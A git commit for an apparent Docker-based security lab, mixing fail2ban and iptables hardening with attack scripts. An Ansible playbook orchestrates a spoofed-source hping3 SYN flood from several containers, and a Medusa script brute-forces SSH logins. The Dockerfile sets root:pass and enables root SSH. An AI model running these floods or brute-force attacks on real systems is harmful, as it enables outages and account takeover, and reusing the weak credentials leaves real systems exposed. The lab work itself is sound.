Commit message

3 years ago · 7c50890c4e
78 changed files with 18784 additions and 0 deletions
--- a/.vimrc
+++ b/.vimrc
@ -0,0 +1,15 @@
+map <C-e> :NERDTreeToggle<CR>
+
+autocmd BufNewFile,BufRead *.vue,*.js set syntax=verilog tabstop=2|set shiftwidth=2|set noexpandtab autoindent
+augroup remember_folds
+  autocmd!
+  autocmd BufWinLeave * mkview
+  autocmd BufWinEnter * silent! loadview
+augroup END
+" Useful for my Quick Notes feature in my tmuxrc
+augroup QuickNotes
+  au BufWrite,VimLeave NOTES.otl mkview
+  au BufRead           NOTES.otl silent loadview
+augroup END
+set swapfile
+set dir=~/tmp
--- a/33
+++ b/33
@ -0,0 +1,33 @@
+FROM localhost:5000/sec
+#
+USER root
+RUN export DEBIAN_FRONTEND=noninteractive &&     apt-get update && apt-get  --no-install-recommends  install -y openssh-server  net-tools curl tcpdump shorewall sudo vim nmap dnsutils iputils-ping iptables wget python 
+RUN apt-get autoremove --purge &&  apt clean
+RUN rm -rf /var/lib/apt/lists/*
+RUN mkdir -p /var/run/sshd
+RUN echo 'root:pass' | chpasswd
+RUN sed -i 's/PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config
+#
+# SSH login fix. Otherwise user is kicked off after login
+RUN sed 's@session\s*required\s*pam_loginuid.so@session optional pam_loginuid.so@g' -i /etc/pam.d/sshd
+#
+ENV NOTVISIBLE "in users profile"
+RUN echo "export VISIBLE=now" >> /etc/profile
+#RUN  wget -k https://raw.githubusercontent.com/egalpin/apt-vim/master/install.sh 
+#
+#
+#
+COPY sec_bootstrap /usr/bin
+COPY get_hosts /usr/bin
+COPY auto_update_hosts /usr/bin
+RUN mkdir -p /etc/shorewall
+COPY shorewall /etc/shorewall
+RUN mkdir -p /etc/opt
+RUN mkdir -p /project
+WORKDIR /project
+COPY install-vim-plugin.sh .
+#RUN  bash ./install-vim-plugin.sh
+#RUN apt-vim install -y https://github.com/scrooloose/nerdtree.git
+RUN grep -qw ^docker /etc/passwd || useradd -m docker && echo "docker:docker" | chpasswd && adduser docker sudo
+COPY .vimrc /home/docker
+USER docker
--- a/1
+++ b/1
@ -0,0 +1 @@
+ROOT_PASSWORD="pass"
--- a/11
+++ b/11
@ -0,0 +1,11 @@
+#!/bin/sh
+
+hosts=$(get_hosts)
+printf "%s" "$hosts" > "$1"
+
+while sleep 2
+do
+  current_hosts=$(get_hosts)
+  [ "$hosts" != "$current_hosts" ] && printf "%s" "$current_hosts" > "$1"
+  hosts=$current_hosts
+done
--- a/backup_files/ansible_cfg_text
+++ b/backup_files/ansible_cfg_text
@ -0,0 +1,35 @@
+# config file for ansible -- https://ansible.com/
+# ===============================================
+
+# nearly all parameters can be overridden in ansible-playbook
+# or with command line flags. ansible will read ANSIBLE_CONFIG,
+# ansible.cfg in the current working directory, .ansible.cfg in
+# the home directory or /etc/ansible/ansible.cfg, whichever it
+# finds first
+
+[defaults]
+host_key_checking = False
+
+# some basic default values...
+
+#inventory      = /etc/ansible/hosts
+#library        = /usr/share/my_modules/
+#module_utils   = /usr/share/my_module_utils/
+#remote_tmp     = ~/.ansible/tmp
+#local_tmp      = ~/.ansible/tmp
+#plugin_filters_cfg = /etc/ansible/plugin_filters.yml
+#forks          = 5
+#poll_interval  = 15
+#sudo_user      = root
+#ask_sudo_pass = True
+#ask_pass      = True
+#transport      = smart
+#remote_port    = 22
+#module_lang    = C
+#module_set_locale = False
+
+# plays will gather facts by default, which contain information about
+# the remote system.
+#
+# smart - gather by default, but don't regather if already gathered
+
--- a/backup_files/ddos_atck_script.sh
+++ b/backup_files/ddos_atck_script.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory_w.yml test3.yml  -f 4 --ask-pass --ask-become-pass
+
--- a/backup_files/fail2ban_script.sh
+++ b/backup_files/fail2ban_script.sh
@ -0,0 +1,28 @@
+#!/bin/sh
+
+
+sudo apt-get update -y  # To get the latest package lists
+sudo apt install rsyslog                        #instal auth.log
+sudo service rsyslog start                     #start syslog
+#grep "Failed password" /var/log/auth.log        #check for login failures
+#grep "Failed password" /var/log/auth.log | awk ‘{print $11}’ | uniq -c | sort
+sudo cat /var/log/auth.log | grep "Failed password"
+sudo apt install fail2ban -y
+sudo service fail2ban enable
+sudo service fail2ban start
+sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
+sudo sed -i '244d' /etc/fail2ban/jail.local
+sudo sed -i '239 a  enabled  = true' /etc/fail2ban/jail.local
+sudo sed -i '240 a maxretry = 3' /etc/fail2ban/jail.local
+sudo sed -i '241 a bantime  = 300' /etc/fail2ban/jail.local
+sudo sed -i '242 a findtime = 30' /etc/fail2ban/jail.local
+sudo sed -i '243 a chain    = INPUT' /etc/fail2ban/jail.local
+sudo sed -i '244 a port     = 22' /etc/fail2ban/jail.local
+sudo sed -i '245 a action_ = iptables-multiport[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]' /etc/fail2ban/jail.local
+sudo service fail2ban restart
+sudo fail2ban-client status sshd
+sudo iptables -L
+
+
+
+
--- a/backup_files/first_script.sh
+++ b/backup_files/first_script.sh
@ -0,0 +1,19 @@
+#!/bin/sh
+
+#nmap -n -sn 172.25.0.* -oG - | awk '/Up$/{print $2}'
+
+sudo apt-get update -y  # To get the latest package lists
+sudo apt install ansible -y
+sudo apt install sshpass -y
+sudo sed -i "11i host_key_checking = False" /etc/ansible/ansible.cfg
+ansible-playbook -u docker -i inventory.yml test.yml  -f 5 --ask-pass --ask-become-pass
+#sudo tcpdump -i eth0
+#now interrupt the process.  get its PID:
+#pid=$(ps -e | pgrep tcpdump)
+#echo $pid
+#
+#interrupt it:
+#sleep 5
+#kill -2 $pid
+
+
--- a/backup_files/hello_world.sh
+++ b/backup_files/hello_world.sh
@ -0,0 +1 @@
+echo "Hello World"
--- a/backup_files/inventory.yml
+++ b/backup_files/inventory.yml
@ -0,0 +1,6 @@
+[service]
+172.21.0.2
+172.21.0.3
+172.21.0.4
+172.21.0.5
+172.21.0.6
--- a/backup_files/inventory_w.yml
+++ b/backup_files/inventory_w.yml
@ -0,0 +1,5 @@
+[service]
+172.21.0.3
+172.21.0.4
+172.21.0.5
+172.21.0.6
--- a/backup_files/iptables_rules.sh
+++ b/backup_files/iptables_rules.sh
@ -0,0 +1,54 @@
+#!/bin/sh
+
+### 1: Drop invalid packets 
+#iptables -t mangle -A PREROUTING -m conntrack --ctstate INVALID -j DROP  
+
+### 2: Drop TCP packets that are new and are not SYN ### 
+#iptables -t mangle -A PREROUTING -p tcp ! --syn -m conntrack --ctstate NEW -j DROP 
+ 
+### 3: Drop SYN packets with suspicious MSS value ### 
+#iptables -t mangle -A PREROUTING -p tcp -m conntrack --ctstate NEW -m tcpmss ! --mss 536:65535 -j DROP  
+
+### 4: Block packets with bogus TCP flags ### 
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,SYN FIN,SYN -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,RST FIN,RST -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags FIN,ACK FIN -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,URG URG -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags ACK,PSH PSH -j DROP
+#iptables -t mangle -A PREROUTING -p tcp --tcp-flags ALL NONE -j DROP
+
+### 5: Block spoofed packets ### 
+#iptables -t mangle -A PREROUTING -s 224.0.0.0/3 -j DROP 
+#iptables -t mangle -A PREROUTING -s 169.254.0.0/16 -j DROP 
+#iptables -t mangle -A PREROUTING -s 172.16.0.0/12 -j DROP 
+#iptables -t mangle -A PREROUTING -s 192.0.2.0/24 -j DROP 
+#iptables -t mangle -A PREROUTING -s 192.168.0.0/16 -j DROP 
+#iptables -t mangle -A PREROUTING -s 10.0.0.0/8 -j DROP 
+#iptables -t mangle -A PREROUTING -s 0.0.0.0/8 -j DROP 
+#iptables -t mangle -A PREROUTING -s 240.0.0.0/5 -j DROP 
+#iptables -t mangle -A PREROUTING -s 127.0.0.0/8 ! -i lo -j DROP   
+
+### 7: Drop fragments in all chains ### 
+#iptables -t mangle -A PREROUTING -f -j DROP  
+
+### 8: Limit connections per source IP ### 
+iptables -A INPUT -p tcp -m connlimit --connlimit-above 111 -j REJECT --reject-with tcp-reset  
+
+### 9: Limit RST packets ### 
+iptables -A INPUT -p tcp --tcp-flags RST RST -m limit --limit 2/s --limit-burst 2 -j ACCEPT 
+iptables -A INPUT -p tcp --tcp-flags RST RST -j DROP  
+
+
+### 10: Limit new TCP connections per second per source IP ### 
+iptables -A INPUT -p tcp -m conntrack --ctstate NEW -m limit --limit 60/s --limit-burst 20 -j ACCEPT 
+iptables -A INPUT -p tcp -m conntrack --ctstate NEW -j DROP  
+
+### 11:SYNPROXY
+#iptables -t raw -A PREROUTING -p tcp -m tcp --syn -j CT --notrack 
+#iptables -A INPUT -p tcp -m tcp -m conntrack --ctstate INVALID,UNTRACKED -j SYNPROXY --sack-perm --timestamp --wscale 7 --mss 1460 
+#iptables -A INPUT -m conntrack --ctstate INVALID -j DROP
+
+### SSH brute-force protection ### 
+#iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --set#iptables -A INPUT -p tcp --dport ssh -m conntrack --ctstate NEW -m recent --update --seconds 60 --hitcount 10 -j DROP 
+
--- a/backup_files/medusa_script.sh
+++ b/backup_files/medusa_script.sh
@ -0,0 +1,10 @@
+#!/bin/sh
+
+
+sudo apt-get update -y  # To get the latest package lists
+sudo apt install medusa -y
+cp  /project/passwd_list.txt .        
+medusa -h 172.21.0.4 -u docker -P ./passwd_list.txt -M ssh -f -v 6
+
+
+
--- a/backup_files/passwd_list.txt
+++ b/backup_files/passwd_list.txt
--- a/backup_files/run.sh
+++ b/backup_files/run.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory.yml test.yml  -f 5 --ask-pass --ask-become-pass
+
--- a/backup_files/script_update.sh
+++ b/backup_files/script_update.sh
@ -0,0 +1,8 @@
+#!/bin/sh
+
+
+sudo apt-get update -y  # To get the latest package lists
+#sudo apt install hping3 -y
+#hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.25.0.2
+
+
--- a/backup_files/second_script.sh
+++ b/backup_files/second_script.sh
@ -0,0 +1,2 @@
+ansible-playbook -u docker -i inventory_w.yml test2.yml  -f 4 --ask-pass --ask-become-pass
+
--- a/backup_files/test.retry
+++ b/backup_files/test.retry
@ -0,0 +1,5 @@
+172.27.0.2
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/backup_files/test.yml
+++ b/backup_files/test.yml
@ -0,0 +1,112 @@
+---
+- hosts: service
+  remote_user: docker 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+      
+
+     # make directory
+
+    - name: make dir for data
+      become: true
+      file:
+        path: "/var/lab/playground/playground-readmongo"
+        state: directory
+        owner: docker
+        group: docker  
+        mode: '0777'
+
+     # make another directory
+
+#    - name: make another dir for data
+#      become: true
+#      file:
+#        path: "/home/docker/my_dir"
+#        state: directory
+#        owner: docker
+#        group: docker  
+#        mode: '0777'
+    
+     
+     # pare google.com
+
+#    - name: google.com
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  curl http://www.google.com
+#      ignore_errors: yes
+#      register: configwww
+ 
+#    - name: ls  configwww
+#      debug: var=configwww.stdout_lines
+
+
+     # mk dir
+
+#    - name: remove dir
+#      become: yes
+#      become_user: "{{ user }}"
+#      command: rmdir new_dir
+#      ignore_errors: yes
+#      register: rmvdir
+
+
+#    - name: ls  rmvdir
+#      debug: var=rmvdir.stdout_lines
+
+
+    
+
+     # ls -al
+
+    - name: ls -al 
+      become: yes
+      become_user: "{{ user }}"      
+      command:  ls -al #/etc
+      ignore_errors: yes
+      register: config
+
+
+    - name: ls  config
+      debug: var=config.stdout_lines
+
+    
+
+    # netstat -antlupe
+
+#    - name: netstat
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  netstat -antlupe
+#      ignore_errors: yes
+#      register: ant
+
+
+
+#    - name: ls  ant
+#      debug: var=ant.stdout_lines
+
+    # install hping3 to all
+
+#    - name: install hping3 to all
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  sudo apt install hping3 -y
+#      ignore_errors: yes
+#      register: install_hp3
+
+#    - name: ls  install_hp3
+#      debug: var=install_hp3.stdout_lines
+
+    
+
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/backup_files/test2.retry
+++ b/backup_files/test2.retry
@ -0,0 +1,4 @@
+172.27.0.3
+172.27.0.4
+172.27.0.5
+172.27.0.6
--- a/backup_files/test2.yml
+++ b/backup_files/test2.yml
@ -0,0 +1,48 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker" 
+
+  tasks:  
+ 
+
+    # ls -al test
+
+#    - name: ls -al 
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  ls -al 
+#      ignore_errors: yes
+#      register: config
+
+#    - name: ls  config
+#      debug: var=config.stdout_lines
+    
+     
+    # transfer script
+
+    - name: Transfer  script.
+      copy: src=script_update.sh dest=/home/docker mode=0777
+
+    # exec script
+    - name: Exec  script_update.
+      command: sh /home/docker/script_update.sh
+
+
+    # install hping3
+    - name: Ansible apt install hping3.
+      become: true
+      apt:
+        name: hping3
+        state: present
+        update_cache: true    
+
+   
+    # refresh
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/backup_files/test3.retry
+++ b/backup_files/test3.retry
@ -0,0 +1,4 @@
+172.29.0.3
+172.29.0.4
+172.29.0.5
+172.29.0.6
--- a/backup_files/test3.yml
+++ b/backup_files/test3.yml
@ -0,0 +1,60 @@
+---
+- hosts: service
+  remote_user: docker
+  sudo: yes 
+  gather_facts: no
+  vars:
+    user: "docker"
+
+ 
+
+  tasks:
+
+      
+   
+
+    # ls -al
+
+#    - name: ls -al 
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  ls -al 
+#      ignore_errors: yes
+#      register: config2
+
+
+#    - name: ls  config2
+#      debug: var=config2.stdout_lines
+    
+    # dos attack async
+    - name: dos attack
+      command: sudo hping3 -c 10000 -d 120 -S -w 64 -p 80 --flood --rand-source 172.21.0.2 -y 
+      async: 120
+      poll: 0
+     
+    
+
+
+    # ls -al
+
+#    - name: ls -al 
+#      become: yes
+#      become_user: "{{ user }}"
+#      command:  ls -al 
+#      ignore_errors: yes
+#      register: config3
+
+
+    - name: ls  config3
+      debug: var=config3.stdout_lines
+    
+
+
+    
+
+   
+
+    - name: Refresh connection
+      meta: clear_host_errors
+
+
--- a/backup_files/vpn+backup/cr_vi_sec_vpn_my5.sh
+++ b/backup_files/vpn+backup/cr_vi_sec_vpn_my5.sh
@ -0,0 +1,26 @@
+#!/bin/bash
+for i in {1..5}
+do
+#create user
+
+NUM=$i
+USERNAME=sec_vpn_$NUM
+vpn_data=$PWD/openvpn-services/
+docker=registry.vlabs.uniwa.gr:5080/myownvpn
+
+docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
+docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME  > $USERNAME.ovpn
+
+#change file of user ----if needed change ip in here----
+NAME=sec_vpn_$NUM.ovpn
+sudo sed -i '5,7d' ./$NAME
+sudo sed -i '4 a comp-lzo' ./$NAME
+sudo sed -i '5 a resolv-retry infinite' ./$NAME
+sudo sed -i '6 a keepalive 15 60' ./$NAME
+sudo sed -i '7 a remote-cert-tls server' ./$NAME
+sudo sed -i '8 a remote 192.168.1.5 1194 udp' ./$NAME
+sudo sed -i '9 a float' ./$NAME
+done
+
+cp sec_vpn_* ../test/project/
+
--- a/backup_files/vpn+backup/create-user.sh
+++ b/backup_files/vpn+backup/create-user.sh
@ -0,0 +1,6 @@
+USERNAME=sec2
+vpn_data=$PWD/openvpn-services/
+docker=registry.vlabs.uniwa.gr:5080/myownvpn
+
+docker run -v $vpn_data:/etc/openvpn --rm -it $docker easyrsa build-client-full $USERNAME nopass
+docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm $docker ovpn_getclient $USERNAME  > $USERNAME.ovpn
--- a/backup_files/vpn+backup/create-vpn.sh
+++ b/backup_files/vpn+backup/create-vpn.sh
@ -0,0 +1,47 @@
+#!/bin/bash
+IP=127.0.0.1                                            # Server IP       
+P=1194                                                  # Server Port     
+OVPN_SERVER='10.80.0.0/16'                              # VPN Network     
+
+#vpn_data=/var/lib/swarmlab/openvpn/openvpn-services/   # Dir to save data ** this must exist **
+vpn_data=$PWD/openvpn-services/                                           
+if [ ! -d $vpn_data ]; then
+ mkdir -p $vpn_data
+fi
+
+NAME=swarmlab-vpn-services                              # name of docker service 
+DOCKERnetwork=swarmlab-vpn-services-network             # docker network
+docker=registry.vlabs.uniwa.gr:5080/myownvpn            # docker image
+
+docker stop  $NAME					      #stop container
+sleep 1
+docker container rm  $NAME				#rm container
+
+# rm config files
+rm -f $vpn_data/openvpn.conf.*.bak
+rm -f $vpn_data/openvpn.conf
+rm -f $vpn_data/ovpn_env.sh.*.bak
+rm -f $vpn_data/ovpn_env.sh
+
+# create network
+sleep 1
+docker network create --attachable=true --driver=bridge --subnet=172.50.0.0/16 --gateway=172.50.0.1 $DOCKERnetwork
+
+#run container        see ovpn_genconfig
+docker run --net=none -it -v $vpn_data:/etc/openvpn  -p 1194:1194 --rm $docker ovpn_genconfig  -u udp://$IP:1194 \
+-N -d -c -p "route 172.50.20.0 255.255.255.0" -e "topology subnet" -s $OVPN_SERVER   
+
+# create pki          see ovpn_initpki
+docker run --net=none -v $vpn_data:/etc/openvpn  --rm -it $docker ovpn_initpki     
+
+#                     see ovpn_copy_server_files
+#docker run --net=none -v $vpn_data:/etc/openvpn  --rm $docker ovpn_copy_server_files
+
+#create vpn           see --cap-add=NET_ADMIN
+sleep 1
+docker run --detach --name $NAME -v $vpn_data:/etc/openvpn --net=$DOCKERnetwork --ip=172.50.0.2 -p $P:1194/udp --cap-add=NET_ADMIN $docker  
+
+sudo sysctl -w net.ipv4.ip_forward=1
+
+#show created
+docker ps
--- a/backup_files/vpn+backup/rm-user.sh
+++ b/backup_files/vpn+backup/rm-user.sh
@ -0,0 +1,22 @@
+#!/bin/bash
+
+CLIENTNAME=sec_vpn_
+U=$CLIENTNAME
+
+vpn_data=$PWD/openvpn-services/
+docker=registry.vlabs.uniwa.gr:5080/myownvpn
+
+rm -f $vpn_data/pki/reqs/$CLIENTNAME.req
+rm -f $vpn_data/pki/private/$CLIENTNAME.key
+rm -f $vpn_data/pki/issued/$CLIENTNAME.crt
+rm -f $vpn_data/server/ccd/$CLIENTNAME
+rm -f $vpn_data/ccd/$CLIENTNAME
+pem=$(sudo grep "CN=$U$"  $vpn_data/pki/index.txt | cut  -f4)
+
+rm -f $vpn_data/pki/certs_by_serial/$pem.pem
+sed -i "/CN=$U$/d"  $vpn_data/pki/index.txt
+echo $pem
+docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm -it $docker ovpn_revokeclient  $CLIENTNAME remove
+
+rm -f $vpn_data_user_config/$CLIENTNAME.ovpn
+rm -f $vpn_data_user_config1/$CLIENTNAME.ovpn
--- a/backup_files/vpn+backup/rm_my5.sh
+++ b/backup_files/vpn+backup/rm_my5.sh
@ -0,0 +1,30 @@
+#!/bin/bash
+for i in {1..5}
+do
+#delete my 5
+
+NUM=$i
+CLIENTNAME=sec_vpn_$NUM
+U=$CLIENTNAME
+
+vpn_data=$PWD/openvpn-services/
+docker=registry.vlabs.uniwa.gr:5080/myownvpn
+
+rm -f $vpn_data/pki/reqs/$CLIENTNAME.req
+rm -f $vpn_data/pki/private/$CLIENTNAME.key
+rm -f $vpn_data/pki/issued/$CLIENTNAME.crt
+rm -f $vpn_data/server/ccd/$CLIENTNAME
+rm -f $vpn_data/ccd/$CLIENTNAME
+pem=$(sudo grep "CN=$U$"  $vpn_data/pki/index.txt | cut  -f4)
+
+rm -f $vpn_data/pki/certs_by_serial/$pem.pem
+sed -i "/CN=$U$/d"  $vpn_data/pki/index.txt
+echo $pem
+docker run -v $vpn_data:/etc/openvpn --log-driver=none --rm -it $docker ovpn_revokeclient  $CLIENTNAME remove
+
+rm -f $vpn_data_user_config/$CLIENTNAME.ovpn
+rm -f $vpn_data_user_config1/$CLIENTNAME.ovpn
+
+#rm file from myfile
+sudo rm ./$CLIENTNAME.ovpn
+done
--- a/backup_files/vpn+backup/show-conn-user.sh
+++ b/backup_files/vpn+backup/show-conn-user.sh
@ -0,0 +1,2 @@
+NAME=swarmlab-vpn-services                              # name of docker service
+docker exec -it  $NAME ovpn_listclients
--- a/backup_files/vpn+backup/show-user.sh
+++ b/backup_files/vpn+backup/show-user.sh
@ -0,0 +1,2 @@
+NAME=swarmlab-vpn-services                              # name of docker service
+docker exec -it  $NAME ovpn_listclients
--- a/backup_files/vpn+backup/vi-userfile.sh
+++ b/backup_files/vpn+backup/vi-userfile.sh
@ -0,0 +1,16 @@
+#!/bin/bash
+for j in {1..5}
+do
+NAME=sec_vpn_$j.ovpn
+sudo sed -i '5,7d' /home/zoiros13/swarmlab-sec/vpn/$NAME
+sudo sed -i '4 a comp-lzo' /home/zoiros13/swarmlab-sec/vpn/$NAME
+sudo sed -i '5 a resolv-retry infinite' /home/zoiros13/swarmlab-sec/vpn/$NAME
+sudo sed -i '6 a keepalive 15 60' /home/zoiros13/swarmlab-sec/vpn/$NAME
+sudo sed -i '7 a remote-cert-tls server' /home/zoiros13/swarmlab-sec/vpn/$NAME
+sudo sed -i '8 a remote 192.168.1.5 1194 udp' /home/zoiros13/swarmlab-sec/vpn/$NAME
+sudo sed -i '9 a float' /home/zoiros13/swarmlab-sec/vpn/$NAME
+done
+
+
+
+
--- a/backup_files/workingjail.local
+++ b/backup_files/workingjail.local
@ -0,0 +1,899 @@
+#
+# WARNING: heavily refactored in 0.9.0 release.  Please review and
+#          customize settings for your setup.
+#
+# Changes:  in most of the cases you should not modify this
+#           file, but provide customizations in jail.local file,
+#           or separate .conf files under jail.d/ directory, e.g.:
+#
+# HOW TO ACTIVATE JAILS:
+#
+# YOU SHOULD NOT MODIFY THIS FILE.
+#
+# It will probably be overwritten or improved in a distribution update.
+#
+# Provide customizations in a jail.local file or a jail.d/customisation.local.
+# For example to change the default bantime for all jails and to enable the
+# ssh-iptables jail the following (uncommented) would appear in the .local file.
+# See man 5 jail.conf for details.
+#
+# [DEFAULT]
+# bantime = 1h
+#
+# [sshd]
+# enabled = true
+#
+# See jail.conf(5) man page for more information
+
+
+
+# Comments: use '#' for comment lines and ';' (following a space) for inline comments
+
+
+[INCLUDES]
+
+#before = paths-distro.conf
+before = paths-debian.conf
+
+# The DEFAULT allows a global definition of the options. They can be overridden
+# in each jail afterwards.
+
+[DEFAULT]
+
+#
+# MISCELLANEOUS OPTIONS
+#
+
+# "ignorself" specifies whether the local resp. own IP addresses should be ignored
+# (default is true). Fail2ban will not ban a host which matches such addresses.
+#ignorself = true
+
+# "ignoreip" can be a list of IP addresses, CIDR masks or DNS hosts. Fail2ban
+# will not ban a host which matches an address in this list. Several addresses
+# can be defined using space (and/or comma) separator.
+#ignoreip = 127.0.0.1/8 ::1
+
+# External command that will take an tagged arguments to ignore, e.g. <ip>,
+# and return true if the IP is to be ignored. False otherwise.
+#
+# ignorecommand = /path/to/command <ip>
+ignorecommand =
+
+# "bantime" is the number of seconds that a host is banned.
+bantime  = 600
+
+# A host is banned if it has generated "maxretry" during the last "findtime"
+# seconds.
+findtime  = 30
+
+# "maxretry" is the number of failures before a host get banned.
+maxretry = 5
+
+# "backend" specifies the backend used to get files modification.
+# Available options are "pyinotify", "gamin", "polling", "systemd" and "auto".
+# This option can be overridden in each jail as well.
+#
+# pyinotify: requires pyinotify (a file alteration monitor) to be installed.
+#              If pyinotify is not installed, Fail2ban will use auto.
+# gamin:     requires Gamin (a file alteration monitor) to be installed.
+#              If Gamin is not installed, Fail2ban will use auto.
+# polling:   uses a polling algorithm which does not require external libraries.
+# systemd:   uses systemd python library to access the systemd journal.
+#              Specifying "logpath" is not valid for this backend.
+#              See "journalmatch" in the jails associated filter config
+# auto:      will try to use the following backends, in order:
+#              pyinotify, gamin, polling.
+#
+# Note: if systemd backend is chosen as the default but you enable a jail
+#       for which logs are present only in its own log files, specify some other
+#       backend for that jail (e.g. polling) and provide empty value for
+#       journalmatch. See https://github.com/fail2ban/fail2ban/issues/959#issuecomment-74901200
+backend = auto
+
+# "usedns" specifies if jails should trust hostnames in logs,
+#   warn when DNS lookups are performed, or ignore all hostnames in logs
+#
+# yes:   if a hostname is encountered, a DNS lookup will be performed.
+# warn:  if a hostname is encountered, a DNS lookup will be performed,
+#        but it will be logged as a warning.
+# no:    if a hostname is encountered, will not be used for banning,
+#        but it will be logged as info.
+# raw:   use raw value (no hostname), allow use it for no-host filters/actions (example user)
+usedns = warn
+
+# "logencoding" specifies the encoding of the log files handled by the jail
+#   This is used to decode the lines from the log file.
+#   Typical examples:  "ascii", "utf-8"
+#
+#   auto:   will use the system locale setting
+logencoding = auto
+
+# "enabled" enables the jails.
+#  By default all jails are disabled, and it should stay this way.
+#  Enable only relevant to your setup jails in your .local or jail.d/*.conf
+#
+# true:  jail will be enabled and log files will get monitored for changes
+# false: jail is not enabled
+enabled = false
+
+
+# "mode" defines the mode of the filter (see corresponding filter implementation for more info).
+mode = normal
+
+# "filter" defines the filter to use by the jail.
+#  By default jails have names matching their filter name
+#
+filter = %(__name__)s[mode=%(mode)s]
+
+
+#
+# ACTIONS
+#
+
+# Some options used for actions
+
+# Destination email address used solely for the interpolations in
+# jail.{conf,local,d/*} configuration files.
+destemail = root@localhost
+
+# Sender email address used solely for some actions
+sender = root@<fq-hostname>
+
+# E-mail action. Since 0.8.1 Fail2Ban uses sendmail MTA for the
+# mailing. Change mta configuration parameter to mail if you want to
+# revert to conventional 'mail'.
+mta = sendmail
+
+# Default protocol
+protocol = tcp
+
+# Specify chain where jumps would need to be added in ban-actions expecting parameter chain
+chain = <known/chain>
+
+# Ports to be banned
+# Usually should be overridden in a particular jail
+port = 0:65535
+
+# Format of user-agent https://tools.ietf.org/html/rfc7231#section-5.5.3
+fail2ban_agent = Fail2Ban/%(fail2ban_version)s
+
+#
+# Action shortcuts. To be used to define action parameter
+
+# Default banning action (e.g. iptables, iptables-new,
+# iptables-multiport, shorewall, etc) It is used to define
+# action_* variables. Can be overridden globally or per
+# section within jail.local file
+banaction = iptables-multiport
+banaction_allports = iptables-allports
+
+
+
+
+# The simplest action to take: ban only
+#action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+
+# ban & send an e-mail with whois report to the destemail.
+action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+            %(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"]
+
+# ban & send an e-mail with whois report and relevant log lines
+# to the destemail.
+action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+             %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
+
+# See the IMPORTANT note in action.d/xarf-login-attack for when to use this action
+#
+# ban & send a xarf e-mail to abuse contact of IP address and include relevant log lines
+# to the destemail.
+action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"]
+             xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"]
+
+# ban IP on CloudFlare & send an e-mail with whois report and relevant log lines
+# to the destemail.
+action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"]
+                %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"]
+
+# Report block via blocklist.de fail2ban reporting service API
+# 
+# See the IMPORTANT note in action.d/blocklist_de.conf for when to use this action.
+# Specify expected parameters in file action.d/blocklist_de.local or if the interpolation
+# `action_blocklist_de` used for the action, set value of `blocklist_de_apikey`
+# in your `jail.local` globally (section [DEFAULT]) or per specific jail section (resp. in 
+# corresponding jail.d/my-jail.local file).
+#
+action_blocklist_de  = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"]
+
+# Report ban via badips.com, and use as blacklist
+#
+# See BadIPsAction docstring in config/action.d/badips.py for
+# documentation for this action.
+#
+# NOTE: This action relies on banaction being present on start and therefore
+# should be last action defined for a jail.
+#
+action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"]
+#
+# Report ban via badips.com (uses action.d/badips.conf for reporting only)
+#
+action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"]
+
+# Report ban via abuseipdb.com.
+#
+# See action.d/abuseipdb.conf for usage example and details.
+#
+action_abuseipdb = abuseipdb
+
+# Choose default action.  To change, just override value of 'action' with the
+# interpolation to the chosen action shortcut (e.g.  action_mw, action_mwl, etc) in jail.local
+# globally (section [DEFAULT]) or per specific section
+action = %(action_)s
+
+
+#
+# JAILS
+#
+
+#
+# SSH servers
+#
+
+[sshd]
+enabled = true
+maxretry = 3
+bantime  = 300
